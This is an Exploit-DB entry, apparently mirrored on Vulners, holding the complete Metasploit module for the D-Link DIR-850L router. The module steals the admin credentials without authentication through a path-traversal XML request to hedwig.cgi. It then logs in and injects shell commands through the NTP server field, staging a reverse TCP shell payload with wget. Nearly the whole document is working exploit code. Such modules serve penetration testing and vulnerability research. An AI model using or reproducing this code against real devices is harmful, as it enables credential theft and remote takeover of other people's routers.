Lucene search
K

D-Link DIR-850L - OS Command Execution (Metasploit)

🗓️ 14 Nov 2017 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 61 Views

D-Link DIR-850L Unauthenticated OS Command Exe

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'DIR-850L (Un)authenticated OS Command Exec',
      'Description' => %q{
        This module leverages an unauthenticated credential disclosure
        vulnerability to then execute arbitrary commands on DIR-850L routers
        as an authenticated user. Unable to use Meterpreter payloads.
      },
      'Author' => [
        'Mumbai', # https://github.com/realoriginal (module)
        'Zdenda' # vuln discovery
      ],
      'References' => [
        ['URL', 'https://www.seebug.org/vuldb/ssvid-96333'],
        ['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
      ],
      'DisclosureDate' => 'Aug 9 2017',
      'License' => MSF_LICENSE,
      'Platform' => 'linux',
      'Arch' => ARCH_MIPSBE,
      'DefaultTarget' => 0,
      'DefaultOptions' => {
        'PAYLOAD' => 'linux/mipsbe/shell/reverse_tcp'
      },
      'Privileged' => true,
      'Payload' => {
        'DisableNops' => true,
      },
      'Targets' => [[ 'Automatic', {} ]],
    ))
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => '/',
        'method' => 'GET'
        })
      if res && res.headers['Server']
        auth = res.headers['Server']
        if auth =~ /DIR-850L/
          if auth =~ /WEBACCESS\/1\.0/
            return Exploit::CheckCode::Safe
          else
            return Exploit::CheckCode::Detected
          end
        end
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end
    Exploit::CheckCode::Unknown
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end


  # some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
  # should write an auxiliary module to-do -> WRITE AUXILIARY
  def retrieve_creds
    begin
      xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
      xml << "<postxml>\r\n"
      xml << "<module>\r\n"
      xml << "  <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
      xml << "</module>\r\n"
      xml << "</postxml>"
      res = send_request_cgi({
        'uri' => '/hedwig.cgi',
        'method' => 'POST',
        'encode_params' => false,
        'headers' => {
          'Accept-Encoding' => 'gzip, deflate',
          'Accept' => '*/*'
        },
        'ctype' => 'text/xml',
        'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}",
        'data' => xml,
      })
      if res.body =~ /<password>(.*)<\/password>/ # fixes stack trace issue
        parse = res.get_xml_document
        username = parse.at('//name').text
        password = parse.at('//password').text
        vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
        loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
        print_good("#{peer} - Downloaded credentials to #{loot}")
        return username, password
      else
        fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def retrieve_uid
    begin
      res = send_request_cgi({
          'uri' => '/authentication.cgi',
          'method' => 'GET',
      })
      parse = res.get_json_document
      uid = parse['uid']
      challenge = parse['challenge']
      return uid, challenge
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def login(username, password)
    uid, challenge = retrieve_uid
    begin
      hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
      send_request_cgi({
        'uri' => '/authentication.cgi',
        'method' => 'POST',
        'data' => "id=#{username}&password=#{hash}",
        'cookie' => "uid=#{uid}"
      })
      return uid
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def execute_command(cmd, opts)
    uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command
    payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
    payload << "<postxml>\r\n"
    payload << "<module>\r\n"
    payload << "  <service>DEVICE.TIME</service>\r\n"
    payload << "  <device>\r\n"
    payload << "    <time>\r\n"
    payload << "      <ntp>\r\n"
    payload << "        <enable>1</enable>\r\n"
    payload << "        <period>604800</period>\r\n"
    payload << "        <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}&); </server>\r\n"
    payload << "      </ntp>\r\n"
    payload << "      <ntp6>\r\n"
    payload << "        <enable>1</enable>\r\n"
    payload << "        <period>604800</period>\r\n"
    payload << "      </ntp6>\r\n"
    payload << "      <timezone>20</timezone>\r\n"
    payload << "      <time/>\r\n"
    payload << "      <date/>\r\n"
    payload << "      <dst>0</dst>\r\n"
    payload << "      <dstmanual/>\r\n"
    payload << "      <dstoffset/>\r\n"
    payload << "    </time>\r\n"
    payload << "  </device>\r\n"
    payload << "</module>\r\n"
    payload << "</postxml>"
    begin
      # save configuration
      res = send_request_cgi({
        'uri' => '/hedwig.cgi',
        'method' => 'POST',
        'ctype' => 'text/xml',
        'data' => payload,
        'cookie' => "uid=#{uid}"
      })
      # execute configuration
      res = send_request_cgi({
        'uri' => '/pigwidgeon.cgi',
        'method' => 'POST',
        'data' => 'ACTIONS=SETCFG,ACTIVATE',
        'cookie' => "uid=#{uid}"
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end


  def exploit
    print_status("#{peer} - Connecting to target...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
    end
    #
    # Information Retrieval, obtains creds and logs in
    #
    @username, @password = retrieve_creds
    execute_cmdstager(
      :flavor => :wget,
      :linemax => 200
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation